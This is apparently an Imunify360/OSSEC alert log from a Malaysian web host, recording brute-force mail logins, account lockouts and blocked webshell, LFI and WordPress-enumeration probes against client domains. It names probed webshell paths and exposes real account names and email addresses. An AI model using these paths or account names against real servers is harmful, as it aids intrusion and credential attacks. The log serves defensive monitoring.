rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/contact.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:22:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:22:15 dovecot_login authenticator failed for H=(wUWhUPuGhd) [45.94.31.131]:60092: 535 Incorrect authentication data (set_id=astpkg)


plugin: modsec
rule: 77142247
name: IM360 WAF: Track WordPress WP Custom Pages 0.5.0.1 LFI
abuser: 109.228.160.190
country_id: 2661886
domain: feliogroup.com.my
description:
IM360 WAF: Track WordPress WP Custom Pages 0.5.0.1 LFI||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/download.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:22:09 dovecot_login authenticator failed for H=(2sHPM84I) [185.36.81.54]:52935: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.5.109.4
country_id: 2017370
description:
2026-02-01 05:22:44 dovecot_plain authenticator failed for H=(qualiting) [213.5.109.4]:59170: 535 Incorrect authentication data (set_id=achigold@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.80.185
country_id: 690791
description:
2026-02-01 05:22:48 dovecot_plain authenticator failed for H=(nolifetard) [178.16.80.185]:59196: 535 Incorrect authentication data (set_id=achigold@ajplantations.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 84.239.7.19
country_id: 6252001
description:
Feb  1 05:22:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account cofreth@cofreth.com.my has been locked for the attacker IP 84.239.7.19


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:22:13 dovecot_login authenticator failed for H=(tT8xBcN3U2) [158.94.208.175]:52021: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:22:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:22:55 dovecot_login authenticator failed for H=(pg3OHH) [141.98.11.11]:62942: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:22:57 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:22:04 dovecot_login authenticator failed for H=(7XJ48YI) [84.239.7.19]:10964: 535 Incorrect authentication data (set_id=cofreth@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:22:17 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:56827: 535 Incorrect authentication data (set_id=test@aircarbonic.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:22:21 dovecot_login authenticator failed for H=(aHQqGC2G) [178.16.54.22]:60815: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 05:22:40 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (inglaus) [87.103.126.54]:32434: 535 Incorrect authentication data (set_id=achigold@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:23:16 dovecot_login authenticator failed for H=(zVqrQSYd) [45.94.31.131]:49422: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.180.129.87
country_id: 1668284
description:
2026-02-01 05:23:26 dovecot_login authenticator failed for H=([175.180.129.87]) [175.180.129.87]:39758: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:23:31 dovecot_login authenticator failed for H=(YVnbHUb) [141.98.11.11]:58528: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.240.47.47
country_id: 2661886
domain: agsaintifik.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/sendto.php||SC:/home2/agsaintifik/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:23:22 dovecot_login authenticator failed for H=(7tpsO3nPt) [158.94.208.175]:51947: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:23:22 dovecot_login authenticator failed for H=(4hjLxwJg0v) [185.36.81.54]:64525: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 84.239.7.19
country_id: 6252001
description:
Feb  1 05:23:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account cofreth@cofreth.com.my has been locked for the attacker IP 84.239.7.19


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:23:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:23:16 dovecot_login authenticator failed for H=(lOtSxFiTzg) [84.239.7.19]:23177: 535 Incorrect authentication data (set_id=cofreth@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.6.11.184
country_id: 1814991
description:
2026-02-01 05:23:57 dovecot_login authenticator failed for H=([112.6.11.184]) [112.6.11.184]:53363: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:23:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.168.210.53
country_id: 6252001
description:
2026-02-01 05:23:44 dovecot_login authenticator failed for H=([166.168.210.53]) [166.168.210.53]:50207: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:23:07 dovecot_login authenticator failed for H=(R9Ubk7) [178.16.54.22]:60310: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-02-01 05:23:52 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:37148: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:23:17 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:51827: 535 Incorrect authentication data (set_id=testing@aircarbonic.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:23:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:24:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:24:16 dovecot_login authenticator failed for H=(DwYzfAHM) [178.16.54.22]:58348: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:24:08 dovecot_login authenticator failed for H=(k34pELCKj) [158.94.208.175]:55436: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:24:17 dovecot_login authenticator failed for H=(sPsIHd) [45.94.31.131]:50436: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 84.239.7.19
country_id: 6252001
description:
Feb  1 05:24:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account cofreth@cofreth.com.my has been locked for the attacker IP 84.239.7.19


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.240.47.47
country_id: 2661886
domain: agsaintifik.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home2/agsaintifik/public_html/wp-admin/images/commentv.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:24:04 dovecot_login authenticator failed for H=(gjFlRh9JN) [141.98.11.11]:52790: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 05:24:06 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:46255: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:24:20 dovecot_login authenticator failed for H=(yROPzKfQXQ) [84.239.7.19]:47031: 535 Incorrect authentication data (set_id=cofreth@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:24:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.230.86.50
country_id: 6252001
description:
2026-02-01 05:24:16 dovecot_plain authenticator failed for H=c-73-230-86-50.hsd1.pa.comcast.net (quarele) [73.230.86.50]:48930: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:24:11 dovecot_login authenticator failed for H=(FSZXInsC) [185.36.81.54]:55889: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.84.162.177
country_id: 1861060
description:
2026-02-01 05:24:29 dovecot_login authenticator failed for H=177.162.84.34.bc.googleusercontent.com [34.84.162.177]:60769: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.150.168.226
country_id: 1814991
description:
2026-02-01 05:24:49 dovecot_login authenticator failed for H=([27.150.168.226]) [27.150.168.226]:44284: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:24:04 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63990: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:24:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 129.45.32.33
country_id: 2589581
domain: feliogroup.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/contact.php||SC:/home2/feliogroupcom/public_html/images/contact.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:25:11 dovecot_login authenticator failed for H=(UJNlto) [141.98.11.11]:61887: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:25:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:25:37 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:25:39 dovecot_login authenticator failed for H=(GERHgYm) [158.94.208.175]:53223: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:25:16 dovecot_login authenticator failed for H=(GSfHCo7) [185.36.81.54]:54814: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 05:25:17 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:61810: 535 Incorrect authentication data (set_id=testing@mams1.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-02-01 05:25:49 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:53490: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:25:02 dovecot_login authenticator failed for H=(EeO7EqNTNo) [178.16.54.22]:65094: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:25:03 dovecot_login authenticator failed for H=(ZR7o3VQ06B) [84.239.7.19]:13403: 535 Incorrect authentication data (set_id=cofreth@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 05:25:55 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:6639: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:25:48 dovecot_login authenticator failed for H=(TH3lH9Izt) [84.239.7.19]:12216: 535 Incorrect authentication data (set_id=cofreth@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:25:18 dovecot_login authenticator failed for H=(KkPZgiSoW) [45.94.31.131]:64805: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:26:24 dovecot_login authenticator failed for H=(cbyPkUNHgR) [45.94.31.131]:59908: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:26:02 dovecot_login authenticator failed for H=(AtkikbW) [158.94.208.175]:52925: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.248.24.238
country_id: 798544
domain: stillman.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/sendto.php||SC:/home2/stillman/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:26:13 dovecot_login authenticator failed for H=(PJHZeMD) [185.36.81.54]:59855: 535 Incorrect authentication data (set_id=marylinkoh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:26:21 dovecot_login authenticator failed for H=(VN76j19Y) [141.98.11.11]:49696: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:26:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.72.58.242
country_id: 1835841
description:
2026-02-01 05:26:11 dovecot_login authenticator failed for H=([61.72.101.1]) [61.72.58.242]:55557: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:26:11 dovecot_login authenticator failed for H=(VbZPrya) [178.16.54.22]:62844: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 45.94.31.131
country_id: 2750405
description:
Feb  1 05:26:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account astpkg has been locked for the attacker IP 45.94.31.131


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-02-01 05:26:04 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:57858: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:26:09 dovecot_login authenticator failed for H=(xjS0Swmg) [84.239.7.19]:33194: 535 Incorrect authentication data (set_id=cofreth@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:27:20 dovecot_login authenticator failed for H=(akkn19n) [178.16.54.22]:54421: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:27:21 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:49937: 535 Incorrect authentication data (set_id=test@aircarbonic.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.240.47.47
country_id: 2661886
domain: agsaintifik.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/index.php||SC:/home2/agsaintifik/public_html/wp-admin/images/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.129.245.249
country_id: 1814991
description:
2026-02-01 05:27:40 dovecot_login authenticator failed for H=([123.129.245.249]) [123.129.245.249]:43827: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-02-01 05:27:53 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:49834: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:27:05 dovecot_login authenticator failed for H=(KDHqv2hBNJ) [45.94.31.131]:62183: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 05:27:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account michaelchin.vpb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:27:11 dovecot_login authenticator failed for H=(3JY0fe) [158.94.208.175]:55323: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:27:14 dovecot_login authenticator failed for H=(NhDITXremV) [84.239.7.19]:25364: 535 Incorrect authentication data (set_id=cofreth@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:27:04 dovecot_login authenticator failed for H=(dPGfC7g) [141.98.11.11]:56811: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:27:08 dovecot_login authenticator failed for H=(Eq3NeCr1nz) [185.36.81.54]:50532: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:28:43 dovecot_login authenticator failed for H=(k0ICae5yJc) [158.94.208.215]:60487: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:28:04 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:62303: 535 Incorrect authentication data (set_id=test@symphony-led.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:28:06 dovecot_login authenticator failed for H=(8liVXYr) [178.16.54.22]:59357: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:28:20 dovecot_login authenticator failed for H=(4FjtOkI) [158.94.208.175]:57534: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 84.239.7.19
country_id: 6252001
description:
Feb  1 05:28:59 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account cofreth@cofreth.com.my has been locked for the attacker IP 84.239.7.19


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:28:02 dovecot_login authenticator failed for H=(WEBCGbp) [185.36.81.54]:52551: 535 Incorrect authentication data (set_id=juliza)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:28:05 dovecot_login authenticator failed for H=(P5vd6nGJR) [45.94.31.131]:56571: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:28:19 dovecot_login authenticator failed for H=(o6lkuzvZH) [84.239.7.19]:55633: 535 Incorrect authentication data (set_id=cofreth@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.113.155.132
country_id: 690791
description:
2026-02-01 05:28:30 dovecot_plain authenticator failed for H=(chandroyan) [176.113.155.132]:50507: 535 Incorrect authentication data (set_id=jun@kdiballoon.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:28:33 dovecot_login authenticator failed for H=(borZB3OHBP) [141.98.11.11]:63315: 535 Incorrect authentication data (set_id=oichingching@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.209.48.203
country_id: 1814991
description:
2026-02-01 05:28:09 dovecot_login authenticator failed for H=([221.209.48.204]) [221.209.48.203]:37190: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.178.246.43
country_id: 1814991
description:
2026-02-01 05:28:18 dovecot_login authenticator failed for H=([220.178.246.43]) [220.178.246.43]:42580: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.117.96.174
country_id: 3932488
description:
2026-02-01 05:28:24 dovecot_login authenticator failed for H=([190.117.96.174]) [190.117.96.174]:58566: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.204.167.187
country_id: 1814991
description:
2026-02-01 05:28:33 dovecot_login authenticator failed for H=([121.204.167.187]) [121.204.167.187]:48106: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 05:29:07 dovecot_login authenticator failed for H=(l9TKiNKdo) [158.94.208.215]:61431: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.11.11
country_id: 597427
description:
2026-02-01 05:29:49 dovecot_login authenticator failed for H=(gJw2Ex) [141.98.11.11]:62566: 535 Incorrect authentication data (set_id=oichingching)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.94.31.131
country_id: 2750405
description:
2026-02-01 05:29:05 dovecot_login authenticator failed for H=(Dgm1tw6Dws) [45.94.31.131]:56389: 535 Incorrect authentication data (set_id=astpkg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 05:29:15 dovecot_login authenticator failed for H=(FSGHjNozi) [178.16.54.22]:61101: 535 Incorrect authentication data (set_id=info@oxbold.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.22
country_id: 2750405
description:
Feb  1 05:29:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@oxbold.com has been locked for the attacker IP 178.16.54.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 84.239.7.19
country_id: 6252001
description:
Feb  1 05:29:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account cofreth@cofreth.com.my has been locked for the attacker IP 84.239.7.19


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.239.7.19
country_id: 6252001
description:
2026-02-01 05:29:19 dovecot_login authenticator failed for H=(ZSSUbnfl0x) [84.239.7.19]:41657: 535 Incorrect authentication data (set_id=cofreth@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-02-01 05:29:22 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:63787: 535 Incorrect authentication data (set_id=testing@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 05:29:06 dovecot_login authenticator failed for H=(Z2vr7lS6z6) [158.94.208.175]:56975: 535 Incorrect authentication data (set_id=michaelchin.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.36.81.54
country_id: 597427
description:
2026-02-01 05:29:13 dovecot_login authenticator failed for H=(IeGx4nn) [185.36.81.54]:50176: 535 Incorrect authentication data (set_id=juliza)


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 169.150.203.247
country_id: 6252001
domain: cabe.com.my
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:7.71||T:APACHE||REQUEST_URI:/2018/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 84.239.7.19
country_id: 6252001
description:
Feb  1 05:30:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account cofreth@cofreth.com.my has been locked for the attacker IP 84.239.7.19


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
